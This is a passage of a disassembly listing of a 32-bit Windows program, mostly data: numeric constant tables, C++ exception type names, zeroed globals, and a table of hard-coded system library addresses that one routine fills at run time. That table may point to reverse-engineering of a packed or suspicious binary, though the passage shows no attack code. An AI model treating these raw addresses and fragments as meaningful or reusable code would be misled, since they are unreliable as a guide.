[ebx+0] push 600043DFh fild word ptr [ebx+0] push esp fild word ptr [ebx+0] dec esp fild word ptr [ebx+0] inc eax fild word ptr [ebx+0] xor al, 0DFh inc ebx add [eax], dh fild word ptr [ebx+0] sub al, 0DFh inc ebx add [edi+ebx*8], ah inc ebx add [eax], dl fild word ptr [ebx+0] or bh, bl inc ebx ; --------------------------------------------------------------------------- db 0 align 10h dword_454DE0 dd 2Eh, 0 ; DATA XREF: sub_4342F0+EEo ; _2:off_454DE8o off_454DE8 dd offset dword_454DE0 ; DATA XREF: sub_434620+D4w ; sub_434620+F6o ... off_454DEC dd offset dword_4F3684 ; DATA XREF: sub_434620+E2w off_454DF0 dd offset dword_4F3684 ; DATA XREF: sub_434620+F1w dd offset dword_4F3684 dd offset dword_4F3684 dd offset dword_4F3684 dd offset dword_4F3684 dd offset dword_4F3684 dd offset dword_4F3684 dd offset dword_4F3684 dd 2 dup(7F7F7F7Fh) off_454E18 dd offset off_454DE8 ; DATA XREF: sub_4342F0:loc_4343D9r ; sub_4342F0+F8r ... align 10h dword_454E20 dd 2 dup(0) ; DATA XREF: sub_4395B0+6o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_454F80 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_4395B0+2Ao dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 off_4550E0 dd offset off_43E17C ; DATA XREF: _1:0043E2E4o _1:0043E3E4o align 8 a_?avexception@ db '.?AVexception@@',0 off_4550F8 dd offset off_43E17C ; DATA XREF: _1:off_43E1D0o ; _1:0043E214o ... align 10h a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_455118 dd offset off_43E17C ; DATA XREF: _1:off_43E220o ; _1:0043E264o ... align 10h a_?avlength_err db '.?AVlength_error@std@@',0 align 4 off_455138 dd offset off_43E17C ; DATA XREF: _1:off_43E270o ; _1:0043E2B4o ... align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_455158 dd offset off_43E17C ; DATA XREF: _1:off_43E2F0o ; _1:0043E32Co align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_432EE0 align 8 dword_455178 dd 0 ; DATA XREF: sub_401300+C8o dword_45517C dd 0 ; DATA XREF: sub_401300+62o dword_455180 dd 0 ; DATA XREF: sub_401404+37Do ; sub_401C87+AC7o ... dd 5 dup(0) dword_455198 dd 0 ; DATA XREF: sub_401C87+B23r ; sub_415944+60r dd 12Dh dup(0) db 3 dup(0) byte_455653 db 0 ; DATA XREF: _2:00454670o dd 3Fh dup(0) db 3 dup(0) byte_455753 db 0 ; DATA XREF: _2:00454678o dd 16Bh dup(0) dword_455D00 dd 0 ; DATA XREF: sub_401C87+5F1Br ; sub_401C87+601Dr ... dd 7Fh dup(0) dword_455F00 dd 0 ; DATA XREF: sub_40B691+4Cw ; sub_40B7CC+3Aw ... dword_455F04 dd 0 ; DATA XREF: sub_40B691+3Ew ; sub_40B7CC+40w ... dword_455F08 dd 0 ; DATA XREF: sub_40B691+45w ; sub_40B7CC+34r ... dword_455F0C dd 0 ; DATA XREF: sub_401300+Cr ; sub_4019A5+B9w ... dword_455F10 dd 0 ; DATA XREF: sub_40B7CC+6Fr ; sub_40B9A7+2Aw ... dword_455F14 dd 0 ; DATA XREF: sub_401404+3C9w ; sub_401404+441w ... byte_455F18 db 0 ; DATA XREF: sub_4019A5+91o ; sub_401C87+5E63r ... align 4 dd 549h dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: _2:off_44F17Co dd 22EFh dup(0) dword_460000 dd 14D1h dup(0) ; DATA XREF: _5:00500B4Co db 0 byte_465345 db 3 dup(0) ; DATA XREF: _2:004549B4o dd 3FFFh dup(0) db 0 byte_475345 db 3 dup(0) ; DATA XREF: _2:004547D0o dd 7FBEh dup(0) db 3 dup(0) byte_495243 db 0 ; DATA XREF: _2:00454830o dd 8000h dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: _2:off_44F310o dd 3CBEh dup(0) db 2 dup(0) word_4C4542 dw 0 ; DATA XREF: _2:004546FCo dd 0BFh dup(0) db 3 dup(0) byte_4C4843 db 0 ; DATA XREF: _2:004549E8o dd 1BFh dup(0) db 3 dup(0) byte_4C4F43 db 0 ; DATA XREF: _2:00454938o dd 0C0h dup(0) db 2 dup(0) word_4C5246 dw 0 ; DATA XREF: _2:00454854o dd 3Fh dup(0) db 0 byte_4C5345 db 3 dup(0) ; DATA XREF: _2:004549E0o db 0 byte_4C5349 db 3 dup(0) ; DATA XREF: _2:00454644o _2:0045464Co dd 3B81h dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: _2:off_44EA20o dd 37Ch dup(0) dword_4D4F44 dd 100h dup(0) ; DATA XREF: _2:004548E0o db 0 byte_4D5345 db 3 dup(0) ; DATA XREF: _2:004546C8o dd 3Fh dup(0) db 3 dup(0) byte_4D5447 db 0 ; DATA XREF: _2:004547D8o dd 362Eh dup(0) dword_4E2D00 dd 0D25Ah ; DATA XREF: sub_401300+FDw ; sub_40B691+13o ... dword_4E2D04 dd 1Ch ; DATA XREF: sub_401404+3Dw ; sub_401C87:loc_40465Fr ... dword_4E2D08 dd 0 ; DATA XREF: sub_401404:loc_4018CDo dword_4E2D0C dd 20h dup(0) ; DATA XREF: sub_401404+480o ; sub_401404+50Do ... dword_4E2D8C dd 10h dup(0) ; DATA XREF: sub_401404+496o dword_4E2DCC dd 24h dup(0) ; DATA XREF: sub_401404+4ADo dword_4E2E5C dd 0 ; DATA XREF: sub_401404+4A1w ; sub_401404+524w ... dword_4E2E60 dd 0 ; DATA XREF: sub_401404+4BDw dd 2 dup(0) byte_4E2E6C db 0 ; DATA XREF: sub_401B0B+28r ; sub_401B0B+30o byte_4E2E6D db 3 dup(0) ; DATA XREF: _2:0043F810o dword_4E2E70 dd 0 ; DATA XREF: sub_401404+4CEw ; sub_401404+4E2r ... dword_4E2E74 dd 0 ; DATA XREF: sub_401404+485w ; sub_401C87+86Fr byte_4E2E78 db 0 ; DATA XREF: sub_401404+23Eo byte_4E2E79 db 0 ; DATA XREF: sub_401C87+1E9Co byte_4E2E7A db 0 ; DATA XREF: sub_401C87+22C8o byte_4E2E7B db 0 ; DATA XREF: sub_401C87+40A8o byte_4E2E7C db 0 ; DATA XREF: sub_401C87+41F6o byte_4E2E7D db 0 ; DATA XREF: sub_401C87+447Co word_4E2E7E dw 0 ; DATA XREF: sub_401C87+5C88o dword_4E2E80 dd 0 ; DATA XREF: sub_401C87+7E18o dword_4E2E84 dd 77C72C6Bh ; DATA XREF: sub_409D10+4A7w ; sub_409D10+4EBr ... dword_4E2E88 dd 77EBA994h ; DATA XREF: sub_409D10+65w ; sub_41A334+163r dword_4E2E8C dd 7622A3F4h ; DATA XREF: sub_409D10+80Bw ; sub_409D10+880r ... dword_4E2E90 dd 71C45229h ; DATA XREF: sub_409D10+9D8w ; sub_409D10+A43r ... dword_4E2E94 dd 71C24870h ; DATA XREF: sub_409D10+98Aw ; sub_409D10+A13r ... dword_4E2E98 dd 77C71BB0h ; DATA XREF: sub_409D10+48Dw ; sub_409D10+4DBr ... dword_4E2E9C dd 77D4808Bh ; DATA XREF: sub_409D10+213w ; sub_409D10+234r ... dword_4E2EA0 dd 71C4502Ch ; DATA XREF: sub_409D10+9CBw ; sub_409D10+A3Br ... dword_4E2EA4 dd 77DE801Bh ; DATA XREF: sub_409D10+372w ; sub_409D10+3C7r ... dword_4E2EA8 dd 77DDACABh ; DATA XREF: sub_409D10+40Fw ; sub_41B6C1+11Er dword_4E2EAC dd 77DE8075h ; DATA XREF: sub_409D10+37Fw ; sub_409D10+3CFr ... dword_4E2EB0 dd 77DD7496h ; DATA XREF: sub_409D10+3C0w ; sub_41992C+ADr dword_4E2EB4 dd 71AB1B7Bh ; DATA XREF: sub_409D10+55Aw ; sub_40FA20+115r ... dword_4E2EB8 dd 77E686CCh ; DATA XREF: sub_409D10+72w ; sub_409D10+D2r ... dword_4E2EBC dd 71C2498Bh ; DATA XREF: sub_409D10+97Dw ; sub_409D10+A06r ... dword_4E2EC0 dd 77DDAB2Fh ; DATA XREF: sub_409D10+3A6w ; sub_409D10+3E7r ... dword_4E2EC4 dd 7620E8C3h ; DATA XREF: sub_409D10+859w ; sub_409D10+8ACr ... dword_4E2EC8 dd 77DD23D7h ; DATA XREF: sub_409D10+2A5w ; sub_409D10+2F0r ... dword_4E2ECC dd 76214750h ; DATA XREF: sub_409D10+84Cw ; sub_409D10+8A4r ... dword_4E2ED0 dd 77E6D75Bh ; DATA XREF: sub_409D10+B3w dword_4E2ED4 dd 7620BD61h ; DATA XREF: sub_409D10+866w ; sub_409D10+8B4r ... dword_4E2ED8 dd 71AB60C9h ; DATA XREF: sub_409D10+54Dw ; sub_409D10+6D0r ... dword_4E2EDC dd 77EBA6E9h ; DATA XREF: sub_409D10+58w ; sub_409D10+CAr ... dword_4E2EE0 dd 76D62A58h ; DATA XREF: sub_409D10+934w ; sub_413B2B+11Ar dword_4E2EE4 dd 76F36EAAh ; DATA XREF: sub_401C87:loc_40408Dr ; sub_409D10+A95w ... dword_4E2EE8 dd 77E802FCh ; DATA XREF: sub_409D10+A6w ; sub_409D10+F2r dword_4E2EEC dd 77C75455h ; DATA XREF: sub_409D10+480w ; sub_409D10+4D3r ... dword_4E2EF0 dd 71AB12A7h ; DATA XREF: sub_409D10+5F6w ; sub_40C52D+20r ... dword_4E2EF4 dd 71C574FAh ; DATA XREF: sub_409D10+9BEw ; sub_409D10+A33r dword_4E2EF8 dd 71AB1746h ; DATA XREF: sub_409D10+5E9w ; sub_409D10+754r ... dword_4E2EFC dd 71C21CA3h ; DATA XREF: sub_409D10+A0Cw dword_4E2F00 dd 71B28D0Dh ; DATA XREF: sub_409D10+B50w ; sub_40B8D3+16o ... dword_4E2F04 dd 762211EFh ; DATA XREF: sub_409D10+7FEw ; sub_409D10+86Dr ... dword_4E2F08 dd 77D902E3h ; DATA XREF: sub_409D10+1B3w ; sub_418E8C+15r dword_4E2F0C dd 71C2FA86h ; DATA XREF: sub_409D10+997w ; sub_409D10+A1Br ... dword_4E2F10 dd 77DE1291h ; DATA XREF: sub_409D10+38Cw ; sub_409D10+3D7r ... dword_4E2F14 dd 77E2C1B3h ; DATA XREF: sub_409D10+399w ; sub_409D10+3DFr ... dword_4E2F18 dd 73B81E3Bh ; DATA XREF: sub_409D10+C85w ; sub_409D10+C8Cr ... dword_4E2F1C dd 71ABF628h ; DATA XREF: sub_409D10+6ACw ; sub_4110D4+D0r dword_4E2F20 dd 71AB1836h ; DATA XREF: sub_401300+1Dr ; sub_401300+23r ... dword_4E2F24 dd 77C72889h ; DATA XREF: sub_409D10+4B4w ; sub_415D1B+207r dword_4E2F28 dd 71C453F8h ; DATA XREF: sub_409D10+9E5w ; sub_409D10+A4Br ... dword_4E2F2C dd 77DD5C55h ; DATA XREF: sub_401000+55r ; sub_409D10+2B2w ... dword_4E2F30 dd 77E96645h ; DATA XREF: sub_409D10+7Fw ; sub_409D10+DAr ... dword_4E2F34 dd 77428B97h ; DATA XREF: sub_401C87+59CBr ; sub_401C87+7A73r ... dword_4E2F38 dd 71AB41DAh ; DATA XREF: sub_401404+8Cr ; sub_401C87+519Dr ... dword_4E2F3C dd 762059A3h ; DATA XREF: sub_409D10+825w ; sub_409D10+890r ... dword_4E2F40 dd 71C4A1B4h ; DATA XREF: sub_409D10+9A4w ; sub_409D10+A23r dword_4E2F44 dd 1F7CD214h ; DATA XREF: sub_409D10+C0Ew ; sub_409D10+C3Fr dword_4E2F48 dd 77E09134h ; DATA XREF: sub_409D10+2CCw ; sub_419036+47r dword_4E2F4C dd 77D4456Bh ; DATA XREF: sub_409D10+22Dw ; sub_4125C5+40r ... dword_4E2F50 dd 76D629BBh ; DATA XREF: sub_409D10+91Aw ; sub_409D10+92Er ... dword_4E2F54 dd 1F7B9D96h ; DATA XREF: sub_409D10+C28w dword_4E2F58 dd 77E09070h ; DATA XREF: sub_409D10+2D9w ; sub_419036+4Fr dword_4E2F5C dd 71AB1740h ; DATA XREF: sub_409D10+574w ; sub_409D10+6E8r ... dword_4E2F60 dd 7620AFB6h ; DATA XREF: sub_409D10+83Fw ; sub_409D10+873r dword_4E2F64 dd 77D5C13Ah ; DATA XREF: sub_409D10+220w ; sub_409D10+23Cr ... dword_4E2F68 dd 77D45B19h ; DATA XREF: sub_409D10+172w ; sub_409D10+1C2r ... dword_4E2F6C dd 71AB157Eh ; DATA XREF: sub_401C87+1DDDr ; sub_401C87+5B85r ... dword_4E2F70 dd 71AB3E5Dh ; DATA XREF: sub_4019A5+C4r ; sub_401C87+5227r ... dword_4E2F74 dd 71AB14DCh ; DATA XREF: sub_409D10+567w ; sub_409D10+6DCr ... dword_4E2F78 dd 0CC0004h ; DATA XREF: sub_409D10+8DBw ; sub_409D10:loc_40A609w ... dword_4E2F7C dd 77DD590Bh ; DATA XREF: sub_401000+2Ar ; sub_409D10+28Bw ... dword_4E2F80 dd 71ABD755h ; DATA XREF: sub_401C87+79EFr ; sub_409D10+69Fw ... dword_4E2F84 dd 77DF7311h ; DATA XREF: sub_409D10+32Dw ; sub_409D10+341r ... dword_4E2F88 dd 77DDA2AFh ; DATA XREF: sub_409D10+3B3w ; sub_409D10+3EFr ... dword_4E2F8C dd 1F7CD927h ; DATA XREF: sub_409D10+C01w ; sub_409D10+C37r dword_4E2F90 dd 76206853h ; DATA XREF: sub_409D10+818w ; sub_409D10+888r ... dword_4E2F94 dd 77D4932Ch ; DATA XREF: sub_409D10+206w ; sub_409D10+227r ... dword_4E2F98 dd 77D5E310h ; DATA XREF: sub_409D10+18Cw ; sub_409D10+1D2r ... dword_4E2F9C dd 76206B7Fh ; DATA XREF: sub_409D10+832w ; sub_409D10+898r ... dword_4E2FA0 dd 71AB1444h ; DATA XREF: sub_409D10+624w ; sub_409D10+774r ... dword_4E2FA4 dd 77DD189Ah ; DATA XREF: sub_401000+5Er ; sub_409D10+2BFw ... dword_4E2FA8 dd 71AB3F8Dh ; DATA XREF: sub_409D10+66Bw ; sub_409D10+79Cr ... dword_4E2FAC dd 77DD5D20h ; DATA XREF: sub_409D10+320w ; sub_409D10+334r ... dword_4E2FB0 dd 71AB1890h ; DATA XREF: sub_409D10+644w ; sub_409D10+784r ... dword_4E2FB4 dd 77C76B34h ; DATA XREF: sub_409D10+44Cw ; sub_409D10+4AEr ... dword_4E2FB8 dd 77D5E38Ch ; DATA XREF: sub_409D10+199w ; sub_409D10+1DAr ... dword_4E2FBC dd 77DDA20Bh ; DATA XREF: sub_409D10+365w ; sub_409D10+3BAr ... dword_4E2FC0 dd 76F36EEBh ; DATA XREF: sub_409D10+AA2w dword_4E2FC4 dd 71AB12A7h ; DATA XREF: sub_409D10+5DCw ; sub_409D10+748r ... dword_4E2FC8 dd 71AB1746h ; DATA XREF: sub_4019A5+3Er ; sub_401C87+51D9r ... dword_4E2FCC dd 77EBA595h ; DATA XREF: sub_409D10+4Bw ; sub_409D10+C2r ... dword_4E2FD0 dd 77C7531Dh ; DATA XREF: sub_409D10+473w ; sub_409D10+4CBr ... dword_4E2FD4 dd 77D4BDCAh ; DATA XREF: sub_409D10+165w ; sub_409D10+1BAr ... dword_4E2FD8 dd 71C3516Ah ; DATA XREF: sub_409D10+9FFw ; sub_409D10+A5Br ... dword_4E2FDC dd 71AB32CAh ; DATA XREF: sub_409D10+685w ; sub_409D10+7ACr ... dword_4E2FE0 dd 71AB5690h ; DATA XREF: sub_401B0B+D1r ; sub_401C87+523Cr ... dword_4E2FE4 dd 1F7CB8F8h ; DATA XREF: sub_409D10+C1Bw ; sub_409D10+C47r dword_4E2FE8 dd 77EBB1E7h ; DATA XREF: sub_409D10+3Ew ; sub_409D10+BAr ... dword_4E2FEC dd 77DD59F0h ; DATA XREF: sub_401000+49r ; sub_409D10+298w ... dword_4E2FF0 dd 71AB5DE2h ; DATA XREF: sub_409D10+651w ; sub_409D10+78Cr ... dword_4E2FF4 dd 71AB3ECEh ; DATA XREF: sub_409D10+637w ; sub_409D10+77Cr ... dword_4E2FF8 dd 73B81B0Fh ; DATA XREF: sub_401C87+7411r ; sub_409D10+C92w dword_4E2FFC dd 76204E4Dh ; DATA XREF: sub_409D10+879w ; sub_416D68+4C9r ... dword_4E3000 dd 0 ; DATA XREF: sub_409D10+112w dword_4E3004 dd 1F7D886Ah ; DATA XREF: sub_409D10+BE7w ; sub_409D10+C22r dword_4E3008 dd 71AB12F8h ; DATA XREF: sub_401C87+2FE8r ; sub_401C87+604Er ... dword_4E300C dd 77C76551h ; DATA XREF: sub_409D10+459w ; sub_409D10+4BBr ... dword_4E3010 dd 77C729E2h ; DATA XREF: sub_409D10+49Aw ; sub_409D10+4E3r ... dword_4E3014 dd 77C7212Fh ; DATA XREF: sub_409D10+466w ; sub_409D10+4C3r ... dword_4E3018 dd 71AB1AF4h ; DATA XREF: sub_401B0B+89r ; sub_401C87+5259r ... dword_4E301C dd 77D5E303h ; DATA XREF: sub_409D10+1A6w ; sub_409D10+1E2r ... dword_4E3020 dd 71C4576Ch ; DATA XREF: sub_409D10+9F2w ; sub_409D10+A53r ... dword_4E3024 dd 77D4702Fh ; DATA XREF: sub_409D10+158w ; sub_409D10+1ADr ... dword_4E3028 dd 77E6C0E3h ; DATA XREF: sub_409D10+8Cw ; sub_409D10+E2r ... dword_4E302C dd 71AB1ED3h ; DATA XREF: sub_409D10+610w ; sub_409D10+764r ... dword_4E3030 dd 71B2A381h ; DATA XREF: sub_409D10+B43w ; sub_409D10+B5Fr dword_4E3034 dd 77DDA595h ; DATA XREF: sub_409D10+33Aw ; sub_41A2C9+55r dword_4E3038 dd 77DD22EAh ; DATA XREF: sub_409D10+27Ew ; sub_409D10+2D3r ... dword_4E303C dd 773F97B0h ; DATA XREF: sub_409D10+BAAw dword_4E3040 dd 76D67A29h ; DATA XREF: sub_409D10+AECw ; sub_40ADC9+D4r dword_4E3044 dd 76D674FAh ; DATA XREF: sub_409D10+ADFw ; sub_409D10+AE6r ... dword_4E3048 dd 71AB3C22h ; DATA XREF: sub_4019A5+A6r ; sub_401C87+51B8r ... dword_4E304C dd 71AB2BBFh ; DATA XREF: sub_401C87+51AAr ; sub_401C87+7A13r ... dword_4E3050 dd 1F7BA3A9h ; DATA XREF: sub_409D10+BF4w ; sub_409D10+C2Fr dword_4E3054 dd 71AB401Ch ; DATA XREF: sub_401C87+1E03r ; sub_401C87+5BABr ... dword_4E3058 dd 71C214BAh ; DATA XREF: sub_409D10+9B1w ; sub_409D10+A2Br ... dword_4E305C dd 71AB868Dh ; DATA XREF: sub_409D10+65Ew ; sub_409D10+794r ... dword_4E3060 dd 71AB1A6Dh ; DATA XREF: sub_401300+12r ; sub_4019A5+D0r ... dword_4E3064 dd 71AB155Ah ; DATA XREF: sub_409D10+59Bw ; sub_409D10+70Cr ... dword_4E3068 dd 71B22C25h ; DATA XREF: sub_409D10+B36w ; sub_409D10+B57r dword_4E306C dd 71AB5A01h ; DATA XREF: sub_409D10+540w ; sub_409D10+6C4r ... dword_4E3070 dd 71B2ACCBh ; DATA XREF: sub_409D10+B29w ; sub_409D10+B4Ar dword_4E3074 dd 77E78C17h ; DATA XREF: sub_401404+52r ; sub_409D10+31w ... dword_4E3078 dd 77D49A11h ; DATA XREF: sub_409D10+17Fw ; sub_409D10+1CAr ... dword_4E307C dd 76D62A37h ; DATA XREF: sub_409D10+927w ; sub_409D10+93Br ... off_4E3080 dd offset sub_50A1C7 ; DATA XREF: sub_409D10+99w ; sub_409D10+EAr ... dword_4E3084 dd 0 ; DATA XREF: sub_409D10:loc_409E0Ew ; sub_409D10+12Bw ... dword_4E3088 dd 0 ; DATA XREF: sub_409D10+126w ; sub_40A9CC+1Cr dword_4E308C dd 0 ; DATA XREF: sub_409D10:loc_409EFEw ; sub_409D10:loc_409F65w ... dword_4E3090 dd 0 ; DATA XREF: sub_409D10+250w ; sub_40A9CC+50r dword_4E3094 dd 0 ; DATA XREF: sub_401404+337r ; sub_401C87+4547r ... dword_4E3098 dd 0 ; DATA XREF: sub_409D10+41Ew ; sub_40A9CC+84r dword_4E309C dd 0 ; DATA XREF: sub_409D10:loc_40A214w ; sub_40A9CC:loc_40AA7Cr dword_4E30A0 dd 0 ; DATA XREF: sub_409D10+4FFw ; sub_40A9CC+B8r dword_4E30A4 dd 0 ; DATA XREF: sub_409D10:loc_40A4E5w ; sub_40A9CC:loc_40AAB0r dword_4E30A8 dd 0 ; DATA XREF: sub_409D10+7D0w ; sub_40A9CC+ECr dword_4E30AC dd 0 ; DATA XREF: sub_409D10:loc_40A5D0w ; sub_409D10+8EFw ... dword_4E30B0 dd 0 ; DATA XREF: sub_409D10+8EAw ; sub_40A9CC+120r dword_4E30B4 dd 0 ; DATA XREF: sub_401C87:loc_407172r ; sub_409D10:loc_40A664w ... dword_4E30B8 dd 0 ; DATA XREF: sub_409D10+94Fw ; sub_40A9CC+154r dword_4E30BC dd 0 ; DATA XREF: sub_401C87+454Fr ; sub_409D10:loc_40A780w ... dword_4E30C0 dd 0 ; DATA XREF: sub_409D10+A6Bw ; sub_40A9CC+188r dword_4E30C4 dd 0 ; DATA XREF: sub_409D10:loc_40A7CAw ; sub_40A9CC:loc_40AB80r dword_4E30C8 dd 0 ; DATA XREF: sub_409D10+AB5w ; sub_40A9CC+1BCr dword_4E30CC dd 0 ; DATA XREF: sub_409D10:loc_40A814w ; sub_40A9CC:loc_40ABB4r dword_4E30D0 dd 0 ; DATA XREF: sub_409D10+AFFw ; sub_40A9CC+1F0r dword_4E30D4 dd 0 ; DATA XREF: sub_409D10:loc_40A888w ; sub_40A9CC:loc_40ABE8r dword_4E30D8 dd 0 ; DATA XREF: sub_409D10+B73w ; sub_40A9CC+224r dword_4E30DC dd 0 ; DATA XREF: sub_409D10:loc_40A8D2w ; sub_40A9CC:loc_40AC1Cr dword_4E30E0 dd 0 ; DATA XREF: sub_409D10+BBDw ; sub_40A9CC+258r dword_4E30E4 dd 0 ; DATA XREF: sub_409D10:loc_40A970w ; sub_40A9CC:loc_40AC50r dword_4E30E8 dd 0 ; DATA XREF: sub_409D10+C5Bw ; sub_40A9CC+28Cr dword_4E30EC dd 0 ; DATA XREF: sub_409D10:loc_40A9BAw ; sub_40A9CC:loc_40AC84r dword_4E30F0 dd 0 ; DATA XREF: sub_409D10+CA5w ; sub_40A9CC+2C0r dword_4E30F4 dd 4 dup(0) ; DATA XREF: sub_40AEAD+32o dword_4E3104 dd 0 ; DATA XREF: _0:0040AD08o byte_4E3108 db 0 ; DATA XREF: _0:0040B1EFo byte_4E3109 db 0 ; DATA XREF: sub_40B2E7+33o word_4E310A dw 0 ; DATA XREF: sub_40B2E7+63o byte_4E310C db 0 ; DATA XREF: sub_40B590+64r ; sub_40B590+92w align 10h dword_4E3110 dd 0 ; DATA XREF: sub_40BFD2+18r ; sub_40C575+92w ... dword_4E3114 dd 0 ; DATA XREF: sub_40C87D+1F7r ; sub_40CA91+D9w ... dd 40Ah dup(0) db 3 dup(0) byte_4E4143 db 0 ; DATA XREF: _2:004547ACo dd 2 dup(0) dword_4E414C dd 0 ; DATA XREF: _2:off_4516BCo dword_4E4150 dd 1FDh dup(0) ; DATA XREF: _2:00454888o db 2 dup(0) word_4E4946 dw 0 ; DATA XREF: _2:004545ECo _2:004545F4o dd 1F2h dup(0) dword_4E5110 dd 6 dup(0) ; DATA XREF: sub_40C87D+C0o ; sub_40C87D+129o ... dword_4E5128 dd 0 ; DATA XREF: sub_40C049+2B7w ; sub_40C049+34Do dword_4E512C dd 0 ; DATA XREF: sub_40C049+343w ; sub_40C049+35Fr dword_4E5130 dd 0 ; DATA XREF: sub_40C049+2C2w dword_4E5134 dd 0 ; DATA XREF: sub_40C049+2ACw ; sub_40C049+320r dword_4E5138 dd 20h dup(0) ; DATA XREF: sub_40C049+2D5o ; sub_40C049+307o dword_4E51B8 dd 0 ; DATA XREF: sub_40C049+2C8w dword_4E51BC dd 0 ; DATA XREF: sub_40C049+2DFw ; sub_40C049+311w dword_4E51C0 dd 0 ; DATA XREF: sub_40C049:loc_40C4E2r align 8 dword_4E51C8 dd 0 ; DATA XREF: sub_40C049+82w ; sub_40C049+FEo dword_4E51CC dd 41h dup(0) ; DATA XREF: sub_40C049+41o dword_4E52D0 dd 1Dh dup(0) ; DATA XREF: sub_40C049+69o db 0 byte_4E5345 db 3 dup(0) ; DATA XREF: _2:00454778o dd 23h dup(0) dword_4E53D4 dd 0 ; DATA XREF: sub_40C049+F4w ; sub_40C049+110r dword_4E53D8 dd 0 ; DATA XREF: sub_40C049+52w dword_4E53DC dd 0 ; DATA XREF: sub_40C049+4Dw ; sub_40C049+D1r dword_4E53E0 dd 20h dup(0) ; DATA XREF: sub_40C049+9Ao ; sub_40C049+B7o dword_4E5460 dd 0 ; DATA XREF: sub_40C049+8Fw dword_4E5464 dd 0 ; DATA XREF: sub_40C049+A4w ; sub_40C049+C1w dword_4E5468 dd 0 ; DATA XREF: sub_40C049:loc_40C214r align 10h dword_4E5470 dd 0 ; DATA XREF: sub_40C049+194w ; sub_40C049+226o dword_4E5474 dd 41h dup(0) ; DATA XREF: sub_40C049+156o dword_4E5578 dd 41h dup(0) ; DATA XREF: sub_40C049+17Bo dword_4E567C dd 0 ; DATA XREF: sub_40C049+21Cw ; sub_40C049+238r dword_4E5680 dd 0 ; DATA XREF: sub_40C049+169w dword_4E5684 dd 0 ; DATA XREF: sub_40C049+164w ; sub_40C049+1F9r dword_4E5688 dd 20h dup(0) ; DATA XREF: sub_40C049+1ADo ; sub_40C049+1DFo dword_4E5708 dd 0 ; DATA XREF: sub_40C049+1A0w dword_4E570C dd 0 ; DATA XREF: sub_40C049+1B7w ; sub_40C049+1E9w dword_4E5710 dd 0 ; DATA XREF: sub_40C049:loc_40C33Cr align 8 dword_4E5718 dd 0 ; DATA XREF: sub_40C049+40Ew ; sub_40C049+467o dword_4E571C dd 0A2h dup(0) ; DATA XREF: sub_40C049+3FCo dword_4E59A4 dd 41h dup(0) ; DATA XREF: sub_40C049+3C6o dword_4E5AA8 dd 0 ; DATA XREF: sub_40C049+3F3w ; sub_40C049+41Ar align 10h dword_4E5AB0 dd 0 ; DATA XREF: sub_40C049+45Dw ; sub_40C049+479r dword_4E5AB4 dd 0 ; DATA XREF: sub_40C049+420w dword_4E5AB8 dd 0 ; DATA XREF: sub_40C049+42Dw dword_4E5ABC dd 0 ; DATA XREF: sub_40C049+3EDw dd 0 dword_4E5AC4 dd 0 ; DATA XREF: sub_40C049:loc_40C4F7r dword_4E5AC8 dd 0 ; DATA XREF: sub_40BC9B+Er ; sub_40BC9B+31r ... dword_4E5ACC dd 0 ; DATA XREF: 